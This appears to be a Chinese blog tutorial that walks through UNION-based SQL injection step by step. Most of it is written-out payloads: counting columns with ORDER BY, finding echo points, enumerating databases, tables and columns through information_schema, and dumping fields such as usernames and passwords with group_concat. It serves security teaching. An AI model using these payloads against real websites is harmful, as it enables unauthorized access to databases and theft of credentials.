0x01 判断注入点类型
- 字符型
- 数字型
如果是字符型还得通过闭合,具体可以查看我之前的文章数字型和字符型
0x02 判断多少列
?id=1 order by n
/*n可以是任何数字,一般用折中试的方法*/
0x03 判断回显点
由上个流程得到多少列(假设上面取的是3)
?id=-1 union select 1,2,3
/*id=后面的值需为不存在页面的值,或者用id=1 and 1=2等使其为假的*/
此时对比正常页面出现文字的地方,会发现有些地方变成了1,2,3中任意的数,有可能是1处也有可能是2处,这就是回显点
0x04 显示数据库的基本信息
id=后的值必须是一个不存在的字段值,具体可以测试,一般负数就不存在,当然用and 1=2最为稳妥
在上面我们得到了回显点,回显点就是能在页面上显示我们构造查询语句结果的地方(假设回显点是2),那我们就在2的位置插入查询语句
?id=-1 union select 1,database(),3
/*结果会在回显点显示当前的数据库名*/
?id=-1 union select 1,version(),3
/*下面的方法都是基于数据库版本大于5.0,虽然现在数据库版本低于5.0的已经很少了,但还是养成好习惯*/
0x05 显示有哪些数据库
?id=-1 union select 1,(select group_concat(schema_name) from information_schema.schemata),3
0x06 显示数据库下有哪些表
?id=-1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = '数据库名'),3
0x07 判断表里有哪些字段
?id=-1 union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = '数据库名' and table_name = '表名'),3
0x08 查询数据表中有哪些数据
?id=-1 union select 1,(select group_concat(concat_ws("~",字段名,字段名)) from 数据库名.表名),3
/* 例:("~",user,password) */
/* "~":表示显示的结果以"~"符号隔开 */
也可用
?id=-1' UNION SELECT 1,(select group_concat(字段名,0x3a,字段名) from 数据库名.字段名),3
/*0x3a为冒号的16进制,当然用其他的也可以,具体请参照16进制表*/
/*上面语句和第一个效果是一样的*/
注意事项
1.
如果查询的是单条数据,可以用limit,但是在回显点limit只能显示一条内容,如果不加limit或者用limit显示超过一条数据,就会提示如下

所以我们要用group_concat方便显示所有数据
2.
插入的语句记得加括号
FROM:无垠の安全
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论